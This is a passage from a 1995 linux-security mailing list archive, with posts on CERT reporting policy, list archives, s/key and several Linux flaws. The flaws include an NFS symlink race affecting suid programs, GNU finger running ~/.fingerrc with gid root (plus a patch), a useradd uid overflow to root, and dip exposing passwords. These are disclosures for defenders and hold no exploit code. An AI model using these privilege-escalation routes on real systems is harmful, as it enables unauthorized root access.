OAA10933; Thu, 16 Mar 1995 14:14:44 +0100 From: Wolfgang Ley Received: (ley@localhost) by tiger.cert.dfn.de (8.6.10/8.6.10) id OAA04705; Thu, 16 Mar 1995 14:14:58 +0100 Message-Id: <[email protected]> Subject: DFN-CERT and Linux bugs (was: Somebody else to report bugs to) To: [email protected] (Thomas Koenig) Date: Thu, 16 Mar 1995 14:14:57 +0100 (MET) Cc: [email protected] (linux-security), [email protected] (DFN-CERT (Anfragen etc.)) Reply-To: [email protected] (DFN-CERT (Anfragen etc.)) In-Reply-To: <[email protected]> from "Thomas Koenig" at Mar 14, 95 07:58:54 pm Organization: DFN-CERT (Computer Emergency Response Team, Germany) Content-Type: text Content-Length: 5047 Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- [email protected] (Thomas Koenig) said: > If you have a Linux security bug report, I'd recommend you also send a > CC: of whatever you send anywhere else to DFN-CERT, [email protected], > the CERT equivalent of the DFN, the German research network. *Please* do NOT do that. Read on... > Unlike CERT, who seem to drop Linux security reports into the bit bucket > as soon as they receive them, DFN-CERT > > - do listen to Linux security bug reports > > - do keep you informed of what's happening with a bug you reported > (which does give you a nice feeling ;-) > > - do fully disclose bugs to their security contacts at sites > > - may oneday persuade other CERTs to listen to Linux bug reports This is our policy, yes. However the DFN-CERT is (you already said this) the CERT for the *German* research network (DFN). We are not able to handle all vulnerability reports for the complete Internet. We do not have the time and staff for doing Linux vulnerability analysis (in fact our resources are eaten up by the other work like incident handling and proactive work writing bulletins, offering security workshops etc.). We are working together with other CERTs all over the world. The DFN-CERT is a member of FIRST (Forum of Incident Response and Security Teams). For further information on FIRST see http://www.first.org/first/ Our information-services are available at http://www.cert.dfn.de/ (german) http://www.cert.dfn.de/eng/ (english) ftp://ftp.cert.dfn.de/pub/ It is also necessary to understand, that CERTs are willing to deal with Linux-security problems but that Linux is not the only OS they have to take care of. Today we see a big difference between highly motivated Linux users who do a lot of their work on their own systems and can fix problems very fast and commercial usage of computer systems on the other hand. It makes a difference if you are only responsible for your own machine or a small subnet or if you have to deal with a lot of different OS-types in a large organization. We can't simply publish a patch that only works for Linux and don't care about the other ones. It is important to know who else is or may be affected by this bug (other systems are sometimes based on the same sources) and if there is a patch or workaround for those systems available, too. If this can't be solved in a timely fashion, we have to decide on every single vulnerability how we deal with this problem. If it helps to prevent attacks we are willing to publish this information even if there is no official patch available... The DFN-CERT would also like to work together with the developers of the Linux implementations. If we do know that a fix is coming from the original author of a package (e.g. it is PGP signed and other people can convince us, that the given author is really responsible for that part of software) we would like to forward this information to out site security contacts and to the other FIRST members (like CERT/CC). Every input and ideas how to handle Linux problems is appreciated. > -- > [Mod: Looking at my subscription files, I found that the following two > addresses have already been subscribed to these lists: > > [email protected] > [email protected] > > It seems that, not only do they listen to Linux bug reports, they've > taken a bit of an active interest in both Linux and the > discussions/alerts on these lists. That being the case, CC:'ing > [email protected] on messages to this list may be an unnecessary > duplication. (If I'm wrong on this, I invite corrections from the > cert.dfn.de subscribers.) --Jeff.] Yes - we do listen to Linux security reports as well as to bugtraq, 8lgm etc. However we don't have the resources to pick up all vulnerability reports from those lists. Please report them directly to the CERT/CC at [email protected]. They will ask us (and other FIRST teams) if they need help. Please remember that nearly all existing CERTs do have a very high work- load and that a special Linux vulnerability may not have that high priority compared to an ongoing attack or another bug that effects all vendors. So please accept if your particular bug report is not processed within 24 hours. Of course you should ask for an acknowledgment of your mail if you don't receive any feedback within a week or so... Bye, Wolfgang Ley (DFN-CERT). - -- - ---------------------------------------------------------------------- Wolfgang Ley, DFN-CERT, Vogt-Koelln-Str. 30, 22527 Hamburg, Germany Email: [email protected] Phone: +49 40 54715-262 Fax: +49 40 54715-241 PGP-Key available via finger [email protected] or any key-server -----BEGIN PGP SIGNATURE----- Version: 2.6.i iQCVAgUBL2g5dQQmfXmOCknRAQFtTAP/WN2l4MdVvlgKaFR3MBDx8kdtg8i+4T8f rR+j4ZC1I169FfzmIsRd8qdBMw144NWuKRo2cexjESSCVOxbKlaAIaPMT8FtZ+wo e1lnVoM0FaFsFv3cxWyjR+403erKSpPv3SRBMYN+eJ3gYZw2a7y5YKLwGuku9Zh5 grYRyOwx2fU= =ONqd -----END PGP SIGNATURE----- From [email protected] Thu Mar 16 11:46:42 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id LAA11320; Thu, 16 Mar 1995 11:45:18 -0500 Received: from taurus.math.tau.ac.il (taurus.math.tau.ac.il [132.67.64.4]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id JAA03300; Thu, 16 Mar 1995 09:47:35 -0500 Received: from lune.math.tau.ac.il ([email protected] [132.67.96.11]) by taurus.math.tau.ac.il (8.6.10/8.6.10) with ESMTP id QAA23109 for ; Thu, 16 Mar 1995 16:46:36 +0200 From: Yossi Gottlieb Received: (yogo@localhost) by lune.math.tau.ac.il (8.6.9/8.6.9) id QAA00401 for [email protected]; Thu, 16 Mar 1995 16:46:34 +0200 Message-Id: <[email protected]> Subject: Re: Linux NFS client To: [email protected] Date: Thu, 16 Mar 1995 16:46:34 +0200 (GMT+0200) In-Reply-To: from "Alan Cox" at Mar 15, 95 02:45:07 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1992 Sender: [email protected] Precedence: list > > possibility for race conditions exists. For example, with current CLIENT > > implementation, it is possible to open a file on an NFS filesystem and while > > the file is open, erase it, and immediately replace it with a symlink. The > > symlink gets the same inode and most important, the same file handle of the > > original file (it may not necessarily be so, and depends on the server). Any > > futher writes to the file will go thru the symlink. > > This is correct. Security is entirely the server end responsibility. In your > example if the symlink pointed to a read-only file the write would return > with an error. This is one of the areas where NFS does not have Unix semantics > > If you can do that write to a read only file, notify your vendor, report it > to cert and get a fix. What about suid programs? In their case, the critical part (on regular fs) is until a file is open; once it's open, there's no way to replace the file with a symlink, etc. On NFS this is not true. Tricking an suid root program will allow write on any file (unless the filesystem is exported with no root access)... that's under Linux, no vendor to notify... :) > > btw Perhaps the SunOS nfsd have this behaviour, anybody can confirm/deny? > > While experimenting wit SunOS, I've noticed that whenever I try to replace > > an open file, any further writes to it causes a 'NFS Write Error' be sent > > to syslog, even though the syscall does not indicate any problem. > > Thats because SunOS NFS works correctly. 8) SunOS NFS doesn't have the problem since the Sun NFS server doesn't 'recycle' filehandles. I suspect it achives this by keeping a random number on the inode record (on disk), and creates a new number whenever an inode is allocated. When creating a filehandle, it stuff that number into the fh together with the inode number, that's why create-erase-create won't return the same filehandle, even if the same inode is used. Can't prove this yet, though... :) yossi. From [email protected] Thu Mar 16 12:34:39 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id MAA11618; Thu, 16 Mar 1995 12:32:03 -0500 Received: from ds1.gl.umbc.edu (ds1.gl.umbc.edu [130.85.3.11]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id LAA11278; Thu, 16 Mar 1995 11:42:18 -0500 Received: from foing.gl.umbc.edu ([email protected] [130.85.61.15]) by ds1.gl.umbc.edu (8.6.10/8.6.9) with ESMTP id LAA16409 for ; Thu, 16 Mar 1995 11:42:14 -0500 Received: (ian@localhost) by foing.gl.umbc.edu (8.6.9/8.6.9) id LAA03400; Thu, 16 Mar 1995 11:42:13 -0500 Date: Thu, 16 Mar 1995 11:42:11 -0500 From: "Ian Soboroff (BS CMSC)" To: [email protected] Subject: patch archive [long moderator's note attached] Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list is there someone who is archiving these various patches and suggestions? this is important for a couple reasons: 1) no one is going to pull every patch posted, and murphy's law dictates they won't pull the patch they need three weeks later. 2) it will limit redundancy... instead of resurrecting the recursive finger or ages-old nfs hole threads every few months, we can point to the security-patch archive. ian +---------------+------------------------------------------------------+ ! Ian Soboroff ! "When you have learned to snatch the error code from ! ! [email protected] ! the trap frame, it will be time for you to leave." ! +----------------------------( http://gl.umbc.edu/~ian/ )--------------+ -- [Mod: All traffic on these lists is archived on the list-server. It is also indexed by "contents" and by "topics"--the indexes are updated nightly at 3:45AM EST. The "topics" index shows all subjects (as they appear in the "Subject:" header of a message) and the archive file(s) that the subject appears in. The "contents" index shows the reverse; it lists all the archive files, and for each file it shows all the subjects that appear in that file. For the security list, each day's traffic appears in a separate archive file. For the alert list, each month's traffic appears in a separate archive file (since it's very low-traffic). For the digest lists, each digest sent is archived as a separate file. To retrieve these files, send mail to "[email protected]" with a message containing a body of: get linux-security CONTENTS If you want the "topics" list, use "TOPICS" vice "CONTENTS". If you want the files for a different list, use the appropriate list as the first argument after the "get". If you see a subject of interest in the index file(s) and want to retrieve that whole file, use the filename (as listed in the index) in place of the "TOPICS" or "CONTENTS" argument. To see all the files that are in the archive for a particular list, send a message body of (using the appropriate list-name): index linux-security I plan on adding a feature that will provide similar indexes based on "Keywords:" headers, so we can make it easier to search for patches and the like (assuming that people take the time to add a "Keywords:" header to their posts). Since this capability is not yet in place, I would like to ask all posters of patches to put the string "PATCH (filename):" at the beginning of their subject line when posting patches to the list--this will make it *much* easier to find and retrieve patches from the archive. Thanks! --Jeff] linux-security/1995/linux-security.950317100664 1767 1767 10363 5732356635 17273 0ustar majdommajdomFrom [email protected] Fri Mar 17 13:39:41 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id NAA02109; Fri, 17 Mar 1995 13:25:56 -0500 Received: from sps1.phys.vt.edu (sps1.phys.vt.edu [128.173.176.53]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id MAA28735; Fri, 17 Mar 1995 12:41:08 -0500 Received: (from millner@localhost) by sps1.phys.vt.edu (8.6.9/8.6.9) id MAA02907 for [email protected]; Fri, 17 Mar 1995 12:41:04 -0500 From: Robert Millner Message-Id: <[email protected]> Subject: SSL protocol To: [email protected] Date: Fri, 17 Mar 1995 12:41:02 -0500 (EST) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 813 Sender: [email protected] Precedence: list Hello. Has there been any discussion on creating an implementation of Secure Socket Layer (see http://home.mcom.com/info/SSL.html) or some permutation of that idea under Linux? This couldn't really be done for mainstream linux use due to export restrictions (as far as I can tell) but it still looks interesting as an experiment. Mcom licenses out a library already that will do this. In leu of dealing with them and RSA, could this be done with RSAREF and some hacking from the PGP source (Still dealing with RSA but taking out the dependence on mcom). Rob -- [email protected] | I am pentium of borg [email protected] | you will be approximated [email protected] | precision is futile Finger [email protected] for info and PGP public key. From [email protected] Fri Mar 17 14:06:00 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id OAA02832; Fri, 17 Mar 1995 14:04:12 -0500 Received: from brewhq.swb.de (brewhq.swb.de [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id OAA02795; Fri, 17 Mar 1995 14:00:36 -0500 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0rphGT-0005B1C; Fri, 17 Mar 95 20:00 MET Received: by monad.swb.de (smail3.1.29.0 #5) id m0rphiu-000KjMC; Fri, 17 Mar 95 20:30 MET Message-Id: From: [email protected] (Olaf Kirch) Subject: File Permission Checker To: [email protected] Date: Fri, 17 Mar 1995 20:30:11 +0100 (MET) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 1719 Sender: [email protected] Precedence: list Hello everyone, I've put a up small perl-based utility for FTP that looks for bad file permissions based on a (rather simple) configuration database. It's not highly sophisticated, and I'm sure Larry Wall wouldn't approve of the way I code perl, but it works for me. It checks for file ownership and permissions, and searches the file system for suid/sgid programs. It's entirely undocumented, so the only way to find out about the various functions of the database entries is by playing with it, meditation, or reading the source. The files currently listed in the sample configuration database comprise the BSD networking stuff, smail, INN, XFree86, and some more. You may not always agree with my choice of acceptable and required permission bits, but then, it's only an example of what such a beast might look like. There are also a couple of utilities I didn't list; most notably the small zoo of tiny tools that manipulate the console that are all suid root on my machine (I feel I may have old versions floating around here..). Despite its 300-something entries it's not complete yet. It's all still rather sketchy, and the database syntax definitely could be improved. I don't have much time to spare for this right now, unfortunately. I invite anyone to try their hands on this. If people know of standard permission holes in one of the common distributions that the script fails to notice, please let me know. Here's the FTP location: linux.nrao.edu:/pub/people/okir/kitten/kitten-0.1.tar.gz (Okay, so my puns are bad. Sue me:-) Enjoy, Olaf -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax linux-security/1995/linux-security.950318100664 1767 1767 17441 5732700102 17256 0ustar majdommajdomFrom [email protected] Sat Mar 18 10:52:03 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id KAA19450; Sat, 18 Mar 1995 10:45:02 -0500 Received: from lilly.ping.de (lilly.ping.de [193.100.14.2]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id UAA14836; Mon, 13 Mar 1995 20:05:12 -0500 Received: by lilly.ping.de with UUCP (Smail3.1.28.1 #4) id m0roL2U-000op4C; Tue, 14 Mar 95 02:04 MET Received: (from benedikt@localhost) by devnull.ping.de (8.6.9/8.6.9) id BAA06238; Tue, 14 Mar 1995 01:40:36 +0100 Date: Tue, 14 Mar 1995 01:40:36 +0100 From: Benedikt Stockebrand Message-Id: <[email protected]> To: [email protected] Cc: [email protected] Subject: DIP suid security problem Sender: [email protected] Precedence: list I don't know if this is already known but the Slackware 2.1.0 distribution has a security problem with dip (dip-3.3.7i) set suid root and world executable. Using the -v option shows you the password used to connect to the remote host. Ben ----------------------------------------------------------------------- Benedikt (Ben) Stockebrand ([email protected]) Dortmund, Germany And don't tell me about Benedict Arnold anymore... ----------------------------------------------------------------------- From [email protected] Sat Mar 18 18:45:16 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id SAA32011; Sat, 18 Mar 1995 18:37:39 -0500 Received: from power.net (touchstone.power.net [198.186.216.131]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id OAA22336; Sat, 18 Mar 1995 14:21:54 -0500 Received: by power.net (Smail3.1.29.1 #3) id m0rq44O-0005MgC; Sat, 18 Mar 95 11:21 PST Date: Sat, 18 Mar 1995 11:21:52 -0800 (PST) From: Elias Levy To: [email protected] Subject: GNU finger 1.37 executes ~/.fingerrc with gid root (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list This may be interesting to linux admins. Enjoy. [email protected] (Elias Levy) PowerNet, Inc. ---------- Forwarded message ---------- Date: Fri, 17 Mar 1995 12:42:02 +0100 (MET) From: Thomas Roessler To: [email protected], [email protected] Cc: Thomas Roessler Subject: GNU finger 1.37 executes ~/.fingerrc with gid root There is a bug in the `lib/site/userinfo.c' module of GNU finger version 1.37 allowing any user on a system to execute arbitrary commands with gid root from ~/.fingerrc. The problem is that GNU finger *first* changes its userid thus giving away root privileges and *then* tries to change its gid which will not succeed. Greetings, Thomas *** userinfo.c.orig Fri Mar 17 12:12:28 1995 --- userinfo.c Fri Mar 17 12:12:37 1995 *************** *** 241,262 **** dup (fileno (*streamp)); } if (fileno (*streamp) != 2) { close (2); dup (fileno (*streamp)); } /* Set uid/gid */ - setuid (user->pw_uid); setgid (user->pw_gid); /* Set default directory */ chdir (user->pw_dir); /* Run ~/.fingerrc through user shell */ #ifdef FINGERRC_SHELL execlp (FINGERRC_SHELL, FINGERRC_SHELL, "-c", file, NULL); #else execlp (user->pw_shell, user->pw_shell, "-c", file, NULL); #endif --- 241,262 ---- dup (fileno (*streamp)); } if (fileno (*streamp) != 2) { close (2); dup (fileno (*streamp)); } /* Set uid/gid */ setgid (user->pw_gid); + setuid (user->pw_uid); /* Set default directory */ chdir (user->pw_dir); /* Run ~/.fingerrc through user shell */ #ifdef FINGERRC_SHELL execlp (FINGERRC_SHELL, FINGERRC_SHELL, "-c", file, NULL); #else execlp (user->pw_shell, user->pw_shell, "-c", file, NULL); #endif -- [email protected] * [email protected] MURPHY'S LAW: If anything can go wrong, it will. From [email protected] Sat Mar 18 18:45:16 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id SAA31987; Sat, 18 Mar 1995 18:37:29 -0500 Received: from stlawrence.maths.ox.ac.uk (stlawrence.maths.ox.ac.uk [163.1.3.9]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id HAA18998; Sat, 18 Mar 1995 07:23:28 -0500 From: [email protected] Received: from moose.maths.ox.ac.uk by stlawrence.maths.ox.ac.uk with smtp (Smail3.1.28.1 #4) id m0rpxXX-000BBtC; Sat, 18 Mar 95 12:23 GMT Received: by moose.maths.ox.ac.uk (8.6.9/mathclient-1.0) id MAA03058; Sat, 18 Mar 1995 12:29:53 GMT Date: Sat, 18 Mar 1995 12:29:53 GMT Message-Id: <[email protected]> To: [email protected] Subject: list of vulnerable programs Sender: [email protected] Precedence: list Hi, I think it would be useful if a members of this list compiled a little overview of Linux security problems that we have seen over the last few years. The list is still short enough to manage and in that way we know if we have caught up with the problems. It would be particularly important to know if main distributions such as slackware have replaced problematic programs. I suggest the following format (please improve on it if you feel like it): Vulnerable binary: smail Date of discovery: 10-10-94 Patched source and binaries: sunsite.... Distributions which are not patched: braam-linux Patched distributions: slackware 1.2. (of oct 11 and later) (hopefully) Peter [mod: If someone would volunteer for it, please contact Jeff and me. How about you, Peter? ;) --okir] From [email protected] Sat Mar 18 19:52:14 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id TAA00899; Sat, 18 Mar 1995 19:47:09 -0500 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id TAA00895; Sat, 18 Mar 1995 19:47:05 -0500 Date: Sat, 18 Mar 1995 19:47:05 -0500 From: Jeff Uphoff Message-Id: <[email protected]> To: [email protected] Subject: Re: list of vulnerable programs In-Reply-To: Your message of Sat, March 18, 1995 12:29:53 GMT References: <[email protected]> X-Zippy: I appoint you ambassador to Fantasy Island!!! X-Attribution: Up Sender: [email protected] Precedence: list "b" == braam writes: b> I think it would be useful if a members of this list compiled a little b> overview of Linux security problems that we have seen over the last b> few years. The list is still short enough to manage and in that way we b> know if we have caught up with the problems. I've been considering (I've mentioned it to Olaf) starting work on a "Linux Security FAQ." Part of it would list past problems, etc., as well as pointers to various different security-related resources. It's not yet started though; I don't have the time to do it myself, so I'm looking for people willing to put some time in and contribute information on various topics, as well as suggest what topics should be covered. linux.nrao.edu's FTP server could be a drop-off point for this--I can add a branch to the incoming area for security stuff if people want to contribute. b> It would be particularly important to know if main distributions such b> as slackware have replaced problematic programs. This is not something I'd thought of--but it's definitely a good idea! b> [mod: If someone would volunteer for it, please contact Jeff and me. How b> about you, Peter? ;) --okir] Now look what you've gotten yourself into! :)~ --Up. linux-security/1995/linux-security.950321100664 1767 1767 2211 5733670067 17236 0ustar majdommajdomFrom [email protected] Tue Mar 21 19:32:50 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id TAA25829; Tue, 21 Mar 1995 19:22:52 -0500 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id TAA25825; Tue, 21 Mar 1995 19:22:47 -0500 Date: Tue, 21 Mar 1995 19:22:47 -0500 From: Jeff Uphoff Message-Id: <[email protected]> To: [email protected] Subject: List archives now available via FTP. X-Zippy: Where's the Coke machine? Tell me a joke!! X-Attribution: Up Sender: [email protected] Precedence: list The archives of the Linux-security mailing lists: linux-alert linux-alert-digest linux-security linux-security-digest are now available via anonymous FTP under: linux.nrao.edu:/pub/linux/security/list-archive They are also still available via e-mail through the Majordomo server. --Up. -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ linux-security/1995/linux-security.950322100664 1767 1767 5421 5734101374 17234 0ustar majdommajdomFrom [email protected] Wed Mar 22 15:05:07 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id PAA02455; Wed, 22 Mar 1995 15:01:30 -0500 Received: from cv3.cv.nrao.edu (cv3.cv.nrao.edu [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id OAA02177; Wed, 22 Mar 1995 14:48:18 -0500 Received: from distrib.com (www.distrib.com) by cv3.cv.nrao.edu (4.1/DDN-DLB/1.13) id AA07764; Wed, 22 Mar 95 14:36:08 EST Received: by distrib.com (Smail3.1.28.1 #64) id m0rrWC9-000EWrC; Wed, 22 Mar 95 11:35 PST Message-Id: Date: Wed, 22 Mar 95 11:35 PST From: [email protected] (Andrew Cromarty) To: [email protected] Subject: IP firewall users: upgrade from kernel 1.2.0 to 1.2.1. Sender: [email protected] Precedence: list Users of IP firewalling and the Linux 1.2.0 kernel will want to upgrade. From Russell Nelson's "Kernel change summary 1.2.0 -> 1.2.1" posting in c.o.l.announce: "Updated and corrected firewalling code: the plain 1.2.0 firewall code is simply broken. 1.2.1 is a must if you're firewalling." Forewarned is forearmed. asc From [email protected] Wed Mar 22 15:05:07 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id PAA02461; Wed, 22 Mar 1995 15:01:42 -0500 Received: from cv3.cv.nrao.edu (cv3.cv.nrao.edu [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id OAA02181; Wed, 22 Mar 1995 14:48:20 -0500 Received: from sun1000.ci.pwr.wroc.pl by cv3.cv.nrao.edu (4.1/DDN-DLB/1.13) id AA07848; Wed, 22 Mar 95 14:43:38 EST Received: from ci3ux.ci.pwr.wroc.pl (ci3ux.ci.pwr.wroc.pl [156.17.10.3]) by sun1000.ci.pwr.wroc.pl (8.6.10/8.6.10) with SMTP id UAA13375; Wed, 22 Mar 1995 20:43:50 +0100 Subject: shadow-3.3.1 useradd bug To: [email protected] Date: Wed, 22 Mar 1995 20:33:56 +0100 (MEZ) From: Marek Michalkiewicz Cc: [email protected] X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 626 Message-Id: <[email protected]> Sender: [email protected] Precedence: list The useradd command will (by default, without -u) create a new user with uid at least 100, and higher by 1 than the highest existing uid. Suppose you have user "nobody" with uid 65534. Then create two new users - the first will have uid 65535, the second will overflow, and the uid will be 0. You know what this means... This may or may not be fixed in 3.3.2 - I don't know. I was unable to find 3.3.2 (with the new, less restrictive copyright) on Linux ftp sites and there were too much users on ftp.uu.net at the moment. Regards, -- Marek Michalkiewicz [email protected] || [email protected] linux-security/1995/linux-security.950323100664 1767 1767 11632 5734413655 17266 0ustar majdommajdomFrom [email protected] Thu Mar 23 02:43:30 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id CAA16644; Thu, 23 Mar 1995 02:33:09 -0500 Received: from cv3.cv.nrao.edu (cv3.cv.nrao.edu [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id OAA02196; Wed, 22 Mar 1995 14:48:28 -0500 Received: from mail.crl.com by cv3.cv.nrao.edu (4.1/DDN-DLB/1.13) id AA05580; Wed, 22 Mar 95 11:39:06 EST Received: from crl.crl.com (crl.com) by mail.crl.com with SMTP id AA07691 (5.65c/IDA-1.5 for ); Wed, 22 Mar 1995 05:33:27 -0800 Received: by crl.crl.com id AA13415 (5.65c/IDA-1.5 for [email protected]); Wed, 22 Mar 1995 05:33:26 -0800 Date: Wed, 22 Mar 1995 05:33:25 -0800 (PST) From: "Richard W. Carr" To: [email protected] Subject: Skey use with Linux Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list [mod: Please respond to the author directly. Richard, can you post a summary of all replies? --okir] Hi folks, I've spent the past several weeks trying to get skey working on my linux box. I've been successful in getting skey to compile and even run correctly however, I've found one problem with it. Skey on my Linux box will always generate one-time passwords which are different than those generated on a Sun Sparc station. I've actually tried a couple of different versions of skey and I consistantly get the same results. Has anyone else experienced this problem and is anyone aware of a solution? I really need to get skey working on my Linux box so I can connect with other sites running Sparc stations which require skey. I have been using skey on Sun systems for quite some time and I have never experienced a problem such as this. Any help anyone can provide me will be greatly appreciated. I am aware of at least one other person who is also having this same problem. Now for the details: Linux 1.2.1 (and earlier version back to 1.1.76) Skey-1.1b (Linux version) (Same version on Suns) PPP-2.1.2b From [email protected] Thu Mar 23 19:51:53 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id TAA02165; Thu, 23 Mar 1995 19:32:50 -0500 Received: from mail.crl.com (mail.crl.com [165.113.1.22]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id QAA23513; Thu, 23 Mar 1995 16:47:37 -0500 Received: from crl.crl.com (crl.com) by mail.crl.com with SMTP id AA24713 (5.65c/IDA-1.5 for ); Thu, 23 Mar 1995 13:46:02 -0800 Received: by crl.crl.com id AA09826 (5.65c/IDA-1.5 for [email protected]); Thu, 23 Mar 1995 13:46:01 -0800 Date: Thu, 23 Mar 1995 13:46:01 -0800 (PST) From: "Richard W. Carr" To: [email protected] Subject: Re: Skey use with Linux Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list I'd like to thank everyone for the responses I received on my question regarding s/key. The folks on this list have really come through for me. To help others that may have similar questions, I'm posting a summary of all the responses I received to my query. Of particular note; I was informed that a new release of s/key is due out within the next few weeks from NRL. The NRL package should be much more portable and easier to compile and configure. (The technical work was done a long time ago; they've been in legal wait for a few months, but I ["Theodore Ts'o"] was assured that it should hopefully be out before the upcoming IETF meeting.) Now for the rest of the information I received: The difficulty is the result of a byte swapping problem. You need to specify whether your system is little-endian or big-endian in a #define statement. The mod is as follows: In md4.c: #if (defined(__MSDOS__) || defined(MPU8086) || defined(MPU8080) \ || defined(vax) || defined (MIPSEL)) #define LOWBYTEFIRST TRUE /* Low order bytes are first in memory */ #else /* Almost all other machines are big-endian */ #define LOWBYTEFIRST FALSE #endif #define LOWBYTEFIRST TRUE /* Low order bytes are first in memory */ Basically, Linux isn't defining anything that causes the #ifdef to be true, so you just force the issue. Now, key generates the same strings as all the other implementations (HP, Sun, DEC ALPHA, IBM AIX). Finally, at ftp://ftp.dhp.com/pub/crypto/skey/* You'll find key-linux-bin.gz, a binary that you can use to test the skey's generated. Also available is skey-md4.tar.gz, small hacks to get it working, and shadow-3.3.2-skey.tar.gz, more hacks that were done to incorporate skey into the shadow suite. linux-security/1995/linux-security.950324100664 1767 1767 3552 5734523220 17237 0ustar majdommajdomFrom [email protected] Fri Mar 24 06:01:32 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id FAA15192; Fri, 24 Mar 1995 05:56:54 -0500 Received: from power.net (touchstone.power.net [198.186.216.131]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id CAA12879; Fri, 24 Mar 1995 02:39:48 -0500 Received: by power.net (Smail3.1.29.1 #3) id m0rs3yE-0005NHC; Thu, 23 Mar 95 23:39 PST Date: Thu, 23 Mar 1995 23:39:46 -0800 (PST) From: Elias Levy To: [email protected] Subject: Slackware Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list This are a few things I ound on a fairly clean Slackware machine that bother me: * dip This will display any file you give it. * Under /dev: /dev/cua* has the right permissions but /dev/ttyS* does not. all the audio devices are mode 666. This means if you have a microphone people can hear the audio. * minicom.users file in the minicom lib direcotry comes with gonzo, satan and snake as examples/default. If you ever create such a user they can use minicom. (Not that it matters if you have a compiler and /dev/ttyS* mode 666) * VGA/X programs: the X servers, SuperProbe, vgaset, /usr/lib/svga/* /usr/bin/dumpreg, /usr/bin/fix132x43 This programs are all setuid and can mess your screen. You can do this to fix it: create group x then chmod root.x the offending programs, and chmod 4110 then. Ahh yes remember to add whom ever you want to let use X to group x. * pppd & dip: Havent checked yet but I belive anyone can start a dip or pppd connection this way. You can even give pppd a tty nd screw people. But I need to check (sorry if Iam crying wof) [email protected] (Elias Levy) PowerNet, Inc. linux-security/1995/linux-security.950326100664 1767 1767 5454 5735342105 17246 0ustar majdommajdomFrom [email protected] Sun Mar 26 14:44:55 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id OAA01164; Sun, 26 Mar 1995 14:31:59 -0500 Received: from sonic.net (sonic.net [199.4.118.11]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id EAA00535; Sun, 26 Mar 1995 04:01:48 -0500 Received: (from dane@localhost) by sonic.net (8.6.10/8.6.10) id BAA07570 for [email protected]; Sun, 26 Mar 1995 01:03:38 -0800 From: Dane Jasper Message-Id: <[email protected]> Subject: Linux-security archive on the WWW. To: [email protected] Date: Sun, 26 Mar 1995 01:03:38 -0800 (PST) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 169 Sender: [email protected] Precedence: list linux-security and linux-alert archives are now available at sonic.net. Connect to: http://www.sonic.net/hypermail/ Coming soon - fulltext search with glimpse. Dane From [email protected] Sun Mar 26 14:45:05 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id OAA01168; Sun, 26 Mar 1995 14:32:02 -0500 Received: from tertius.mit.edu (TERTIUS.MIT.EDU [18.245.0.93]) by 